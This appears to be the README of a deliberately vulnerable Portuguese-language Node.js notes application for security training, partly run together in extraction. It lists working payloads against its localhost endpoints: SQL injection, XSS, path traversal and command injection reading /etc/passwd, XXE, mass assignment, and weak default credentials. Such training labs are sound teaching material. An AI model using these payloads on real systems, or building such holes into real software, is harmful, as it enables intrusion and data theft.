Um sistema de notas desenvolvido para fins educacionais e testes de segurança. Este projeto contém múltiplas vulnerabilidades intencionais para demonstrar falhas de segurança comuns em aplicações web.
⚠️ ATENÇÃO: NÃO USE EM PRODUÇÃO! ⚠️
POST /login, GET /searchadmin' OR '1'='1-- -test' UNION SELECT username,password FROM users-- -/notes, /search<script>alert('XSS')</script>GET /file?path=/file?path=../../../etc/passwdPOST /ping127.0.0.1; ls -la ou 127.0.0.1 && whoamiGET /template?file=/template?file=../package.jsonGET /debug/debug para ver senhas e variáveis de ambientePOST /import
### 8. Insecure Direct Object Reference (IDOR)
- **Endpoint**: `GET /notes?user=`
- **Descrição**: Acesso a dados de outros usuários
- **Teste**: Mude o parâmetro `user` para ver notas de outros usuários
### 9. Weak Authentication
- **Múltiplos usuários**: Senhas fracas e previsíveis
- **Credenciais**: admin/1234, guest/guest, test/(vazia), root/toor
### 10. Mass Assignment
- **Endpoint**: `POST /user/update`
- **Descrição**: Atualização de campos não intencionais
- **Teste**:
```json
{
"id": 1,
"username": "hacker",
"password": "newpass",
"role": "admin"
}
POST /session/create, GET /session/infosess_username_timestampPOST /uploadnpm install
node server.js
| Usuário | Senha | Descrição |
|---|---|---|
| admin | 1234 | Administrador |
| guest | guest | Usuário guest |
| test | (vazia) | Usuário sem senha |
| root | toor | Usuário root |
curl -X POST http://localhost:3000/login \
-d "username=admin' OR '1'='1-- -&password=any"
curl -X POST http://localhost:3000/ping \
-d "host=127.0.0.1; cat /etc/passwd"
curl "http://localhost:3000/file?path=../../../etc/passwd"
curl -X POST http://localhost:3000/import \
-d 'xml=<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><root>&test;</root>'
Este projeto é destinado exclusivamente para:
NÃO use este código em produção ou contra sistemas sem autorização explícita.
Contribuições são bem-vindas! Se você encontrar uma vulnerabilidade interessante que pode ser adicionada para fins educacionais, abra uma issue ou pull request.
ISC - Este projeto é fornecido “como está” para fins educacionais.
Desenvolvido para fins educacionais em segurança cibernética 🛡️